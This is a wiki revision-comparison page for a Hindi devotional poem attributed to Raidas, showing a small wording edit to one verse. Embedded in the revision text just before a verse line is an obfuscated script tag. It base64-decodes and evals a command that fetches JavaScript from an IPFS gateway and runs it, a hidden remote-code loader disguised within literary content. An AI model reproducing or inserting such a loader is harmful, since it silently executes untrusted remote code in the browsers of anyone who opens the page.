"भाई रे रांम कहाँ हैं मोहि बतावो -रैदास" के अवतरणों में अंतर
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भाई रे रांम कहाँ हैं मोहि बतावो। | भाई रे रांम कहाँ हैं मोहि बतावो। | ||
सति रांम ताकै निकटि न आवो।। टेक।। | सति रांम ताकै निकटि न आवो।। टेक।। | ||
− | राम कहत | + | राम कहत जगत् भुलाना, सो यहु रांम न होई। |
करंम अकरंम करुणांमै केसौ, करता नांउं सु कोई।।1।। | करंम अकरंम करुणांमै केसौ, करता नांउं सु कोई।।1।। | ||
जा रामहि सब जग जानैं, भ्रमि भूले रे भाई। | जा रामहि सब जग जानैं, भ्रमि भूले रे भाई। |
14:17, 30 जून 2017 के समय का अवतरण
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> भाई रे रांम कहाँ हैं मोहि बतावो। |
टीका टिप्पणी और संदर्भसंबंधित लेख |